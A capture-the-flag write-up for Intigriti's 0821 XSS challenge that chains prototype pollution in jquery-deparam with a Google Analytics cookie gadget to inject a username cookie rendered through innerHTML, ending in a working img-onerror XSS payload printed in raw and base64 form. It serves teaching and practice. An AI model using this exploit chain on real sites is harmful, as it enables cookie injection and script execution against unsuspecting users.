Writeup CTF Intigriti Challenge 0821

Introduction

Intigriti announced a new challenge. No time to waste…

Link to challenge: https://challenge-0821.intigriti.io/

The code

The challenge is presented in an iframe on the home page. The page is able to show some XSS recipes. These are encoded (Base64) in the url using the recipe parameter. The site is able to decode the recipes in javascript and show them accordingly.

Three javascript files are loaded:

  • analytics.js
  • jquery-deparam.js
  • main.js

The jquery-deparam and google analytics are external js sources. The main.js is not and is also shown below.

Challenge page - cooking.html
<!DOCTYPE html>
<html lang="en">
<head>
    ...
</head>
<body>
<h1 id="welcome"></h1>
<p>Every single day, we have a thirst to quench ๐Ÿฅ›, a hunger to sate ๐Ÿ–, an XSS to find ๐Ÿ’ป.<br>
    We all have our recipes ๐Ÿ“–, our payloads ๐Ÿ“ƒ, that we cook up in order to find some bugs ๐Ÿ›.<br><br>
    Today, Initigriti presents the <b>XSS cookbook</b> ๐Ÿ“š. <br>A way for you to organize and share your XSS payloads with the world! ๐ŸŒ<br>
    We've already added a couple in the list down below ๐Ÿ‘‡, but don't be afraid to experiment with our cool way of making recipe objects! ๐Ÿงช
</p>

<h2>The collection: </h2>
<ul>
    <li><a href="cooking.html?recipe=dGl0bGU9VGhlJTIwYmFzaWMlMjBYU1MmaW5ncmVkaWVudHMlNUIlNUQ9QSUyMHNjcmlwdCUyMHRhZyZpbmdyZWRpZW50cyU1QiU1RD1Tb21lJTIwamF2YXNjcmlwdCZwYXlsb2FkPSUzQ3NjcmlwdCUzRWFsZXJ0KDEpJTNDL3NjcmlwdCUzRSZzdGVwcyU1QiU1RD1GaW5kJTIwdGFyZ2V0JnN0ZXBzJTVCJTVEPUluamVjdCZzdGVwcyU1QiU1RD1FbmpveQ==">The basic XSS</a></li>
    <li><a href="cooking.html?recipe=dGl0bGU9VGhlJTIwU1ZHJmluZ3JlZGllbnRzJTVCJTVEPUFuJTIwU1ZHJTIwdGFnJmluZ3JlZGllbnRzJTVCJTVEPVNvbWUlMjBqYXZhc2NyaXB0JmluZ3JlZGllbnRzJTVCJTVEPVNvbWUlMjBvbmxvYWQlMjBhY3Rpb24mcGF5bG9hZD0lM0NzdmclMjBvbmxvYWQlMjUzRGFsZXJ0KDEpJTNFJnN0ZXBzJTVCJTVEPUZpbmQlMjB0YXJnZXQmc3RlcHMlNUIlNUQ9SW5qZWN0JnN0ZXBzJTVCJTVEPUFMRVJUIQ==">The SVG</a></li>
    <li><a href="cooking.html?recipe=dGl0bGU9VGhlJTIwUE9MWUdMT1QmaW5ncmVkaWVudHMlNUIlNUQ9QSUyMGxvdCZpbmdyZWRpZW50cyU1QiU1RD1Tb21lJTIwamF2YXNjcmlwdDolMjBhY3Rpb24maW5ncmVkaWVudHMlNUIlNUQ9U29tZSUyMGNvbW1lbnRzJmluZ3JlZGllbnRzJTVCJTVEPUElMjBzbmVha3klMjBTQ1JJUFQlMjB0YWcmaW5ncmVkaWVudHMlNUIlNUQ9U29tZSUyMGNvbW1lbnRzJmluZ3JlZGllbnRzJTVCJTVEPUFuJTIwaW5ub2N1b3VzJTIwc3ZnJTIwZWxlbWVudCZpbmdyZWRpZW50cyU1QiU1RD1BJTIwdGFuZ2xlZCUyMGV4ZWN1dGlvbiUyMHpvbmUlMjB3cmFwcGVkJTIwaW4lMjBpbnZva2luZyUyMHBhcmVudGhlc2lzISZpbmdyZWRpZW50cyU1QiU1RD1FbmNvZGluZ3MlMjBnYWxvcmUmaW5ncmVkaWVudHMlNUIlNUQ9U29tZSUyMHdlaXJkJTIwY2hhcmFjdGVycyZpbmdyZWRpZW50cyU1QiU1RD1Ub28lMjBtdWNoJTIwdGltZSUyMG9uJTIweW91ciUyMGhhbmRzJnBheWxvYWQ9JTBBamFWYXNDcmlwdDovKi0vKiU2MC8qJTVDJTYwLyonLyolMjIvKiovKC8qJTIwKi9vTmNsaUNrJTI1M0RhbGVydCgpJTIwKS8vJTI1MEQlMjUwQSUyNTBkJTI1MGEvLyUzQy9zdFlsZS8lM0MvdGl0TGUvJTNDL3RlWHRhckVhLyUzQy9zY1JpcHQvLS0hJTNFJTVDeDNjc1ZnLyUzQ3NWZy9vTmxvQWQlMjUzRGFsZXJ0KCkvLyUzRSU1Q3gzZSZzdGVwcyU1QiU1RD1GaW5kJTIwdGFyZ2V0cyZzdGVwcyU1QiU1RD1JbmplY3Qmc3RlcHMlNUIlNUQ9SW5qZWN0JnN0ZXBzJTVCJTVEPUluamVjdCZzdGVwcyU1QiU1RD1JbmplY3Qmc3RlcHMlNUIlNUQ9SW5qZWN0JnN0ZXBzJTVCJTVEPUluamVjdCZzdGVwcyU1QiU1RD1JbmplY3Qmc3RlcHMlNUIlNUQ9SW5qZWN0JnN0ZXBzJTVCJTVEPUFMRVJUISUyMChob3BlZnVsbHkp">The POLYGLOT</a></li>
</ul>

<h2 id="title">Recipe</h2>
<p><b>Ingredients:</b></p><p id="ingredients"></p>
<b><p id="payload">Payload:</p></b>
<p><b>Steps:</b></p><p id="steps"></p>
</body>
<br>
<p>Woaaahhhh ๐Ÿคฏ Such a cool payload! Share it now!</p>
<a href="https://twitter.com/share?ref_src=twsrc%5Etfw" class="twitter-share-button" data-size="large" data-text="๐Ÿงช ๐Ÿ“– ๐Ÿ’ป Look at this amazing XSS recipe I just came up with! ๐Ÿ”๐Ÿ™ Thanks @intigriti for making such a secure place for my XSS payloads!" data-show-count="false">Tweet</a><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
<p>(Do not share the solution to this challenge ๐Ÿ˜‰)</p>
<script src="main.js"></script>
<script src="https://rawcdn.githack.com/AceMetrix/jquery-deparam/81428b3939c4cbe488202b5fa823ad661d64fb49/jquery-deparam.js"></script>
<script src="https://www.google-analytics.com/analytics.js"></script>
</html>
Challenge page - main.js
// Reads a cookie with specified name. Returns null if no such cookie present
function readCookie(name) {
    let nameEQ = name + "=";
    let ca = document.cookie.split(';');
    for (let i=0; i < ca.length; i++) {
        let c = ca[i];
        while (c.charAt(0)===' ') c = c.substring(1,c.length);
        if (c.indexOf(nameEQ) === 0) return c.substring(nameEQ.length,c.length);
    }
    return null;
}

// As we are a professional company offering XSS recipes, we want to create a nice user experience where the user can have a cool name that is shown on the screen
// Our advisors say that it should be editable through the webinterface but I think our users are smart enough to just edit it in the cookies.
// This way no XSS will ever be possible because you cannot change the cookie unless you do it yourself!
function welcomeUser(username) {
    let welcomeMessage = document.querySelector("#welcome");
    welcomeMessage.innerHTML = `Welcome ${username}`;
}

// Function to generate the recipe text.
function generateRecipeText(recipe) {
    let title = document.querySelector("#title");
    let ingredients = document.querySelector("#ingredients");
    let payload = document.querySelector("#payload");
    let steps = document.querySelector("#steps");

    title.innerText = `Recipe: ${recipe.title}`;

    let ingredient_text = '';
    for (let ingredient of recipe.ingredients) {
        ingredient_text += `- ${ingredient}\n`;
    }
    ingredients.innerText = ingredient_text;

    payload.innerText = `Payload: ${recipe.payload}`;

    let steps_text = '';
    for (let step of recipe.steps) {
        steps_text += `- ${step}\n`;
    }
    steps.innerText = steps_text;
}

// This thing is called after the page loaded or something. Not too sure...
const handleLoad = () => {
    let username = readCookie('username');
    if (!username) {
        document.cookie = `username=unknownUser${Math.floor(Math.random() * (1000 + 1))};path=/`;
    }

    let recipe = deparam(atob(new URL(location.href).searchParams.get('recipe')));

    ga('create', 'ga_r33l', 'auto');

    welcomeUser(readCookie('username'));
    generateRecipeText(recipe);
    console.log(recipe)
}

window.addEventListener("load", handleLoad);

Analysis

The main.js file is not that large. The recipes are shown using the innerText property. It does not seem possible to inject HTML, so lets not focus on those.

An interesting comment is entered just above the welcomeUser() function. It states that no XSS is possible, but it uses innerHTML, so it is still a valid candidate for XSS injection, so we ignore this comment. This function gets a username and just sets the innerHTML of the h1 with the “welcome” id the value given.

The welcomeUser() function is called in the handleLoad eventListener and gets is value from the readCookie('username') function call.

The readCookie() function is fairly simple. It tries to read the username cookie. The challenge seems to be to inject some HTML into the username cookie. How can that be done?

This is the hardest part of the challenge. The following hint was given by intigriti in their discord channel:

Tip
TIP 1: The Google Analytics script was not just included for tracking all of you, it may or may not contain some useful gadget!

The use of the word gadget points in the direction to look for prototype pollution attacks. Let’s see if there is anything applicable to the analytics.js file.

The second link on google points me towards the github repository of BlackFan

Google analytics is mentioned and the following prototype pollution attack is shown:

?__proto__[cookieName]=COOKIE%3DInjection%3B

It also mentions that cookie injection is possible using this attack. Exactly what I need.

It is not possible to inject this in the url as-is because the url parameters itself are not parsed insecurely. However, another external method (jquery-deparam()) is used which seems vulnerable according to the BlackFan repository (jquery-deparam) The url hash is exactly the same, so it is very likely that the vulnerability is present.

Let’s try to set the __proto__[cookieName] to string “a” using the jquery vulnerability with the following payload:

recipe=__proto__[cookieName]=username%3Da%3b%20path%3d/%3b&title=The%20basic%20XSS&ingredients%5B%5D=A%20script%20tag&ingredients%5B%5D=Some%20javascript&payload=%3Cscript%3Ealert(1)%3C/script%3E&steps%5B%5D=Find%20target&steps%5B%5D=Inject&steps%5B%5D=Enjoy

Note that this still needs to be base64 encoded:

recipe=X19wcm90b19fW2Nvb2tpZU5hbWVdPXVzZXJuYW1lJTNEYSUzYiUyMHBhdGglM2QvJTNiJnRpdGxlPVRoZSUyMGJhc2ljJTIwWFNTJmluZ3JlZGllbnRzJTVCJTVEPUElMjBzY3JpcHQlMjB0YWcmaW5ncmVkaWVudHMlNUIlNUQ9U29tZSUyMGphdmFzY3JpcHQmcGF5bG9hZD0lM0NzY3JpcHQlM0VhbGVydCgxKSUzQy9zY3JpcHQlM0Umc3RlcHMlNUIlNUQ9RmluZCUyMHRhcmdldCZzdGVwcyU1QiU1RD1JbmplY3Qmc3RlcHMlNUIlNUQ9RW5qb3k=

doesnotwork

It seems to work but unfortunately the username is injected twice. The cookie is parsed sequentially in the readCookie() function and the first result is returned. It is better to have only one cookie with the username key.

Step 2: Clean cookies

Maybe the analytis.js is still inserting other stuff (probably the path and/or domain) into the cookie? Let’s try to break this by also injecting an \r\n. The url encoded version of \r\n is %0d%0a.

recipe=__proto__[cookieName]=username%3Da%3b%20path%3d/%3b%0d%0a&title=The%20basic%20XSS&ingredients%5B%5D=A%20script%20tag&ingredients%5B%5D=Some%20javascript&payload=%3Cscript%3Ealert(1)%3C/script%3E&steps%5B%5D=Find%20target&steps%5B%5D=Inject&steps%5B%5D=Enjoy

With correct encoding:

recipe=X19wcm90b19fW2Nvb2tpZU5hbWVdPXVzZXJuYW1lJTNEYSUzYiUyMHBhdGglM2QvJTNiJTBkJTBhJnRpdGxlPVRoZSUyMGJhc2ljJTIwWFNTJmluZ3JlZGllbnRzJTVCJTVEPUElMjBzY3JpcHQlMjB0YWcmaW5ncmVkaWVudHMlNUIlNUQ9U29tZSUyMGphdmFzY3JpcHQmcGF5bG9hZD0lM0NzY3JpcHQlM0VhbGVydCgxKSUzQy9zY3JpcHQlM0Umc3RlcHMlNUIlNUQ9RmluZCUyMHRhcmdldCZzdGVwcyU1QiU1RD1JbmplY3Qmc3RlcHMlNUIlNUQ9RW5qb3k=

That seems to do the trick.

works

Because innerHTML is used we cannot introduce a <script> tag. It will not be executed as stated in the documentation

Let’s try to inject the <img> tag, which is also nicely documented in the innerHTML documentation as a way to execute javascript.

<img src="x" onerror="alert(document.domain)">

Inserting it into our existing payload gives:

recipe=__proto__[cookieName]=username%3D%3Cimg%20src%3D%22x%22%20onerror%3D%22alert%28document.domain%29%22%3E%3b%20path%3d/%3b%0a%0d&title=The%20basic%20XSS&ingredients%5B%5D=A%20script%20tag&ingredients%5B%5D=Some%20javascript&payload=%3Cscript%3Ealert(1)%3C/script%3E&steps%5B%5D=Find%20target&steps%5B%5D=Inject&steps%5B%5D=Enjb3k

With correct encoding:

recipe=X19wcm90b19fW2Nvb2tpZU5hbWVdPXVzZXJuYW1lJTNEJTNDaW1nJTIwc3JjJTNEJTIyeCUyMiUyMG9uZXJyb3IlM0QlMjJhbGVydCUyOGRvY3VtZW50LmRvbWFpbiUyOSUyMiUzRSUzYiUyMHBhdGglM2QvJTNiJTBhJTBkJnRpdGxlPVRoZSUyMGJhc2ljJTIwWFNTJmluZ3JlZGllbnRzJTVCJTVEPUElMjBzY3JpcHQlMjB0YWcmaW5ncmVkaWVudHMlNUIlNUQ9U29tZSUyMGphdmFzY3JpcHQmcGF5bG9hZD0lM0NzY3JpcHQlM0VhbGVydCgxKSUzQy9zY3JpcHQlM0Umc3RlcHMlNUIlNUQ9RmluZCUyMHRhcmdldCZzdGVwcyU1QiU1RD1JbmplY3Qmc3RlcHMlNUIlNUQ9RW5qb3k

The popup shows, and we are done ๐Ÿฅณ!

This is the final link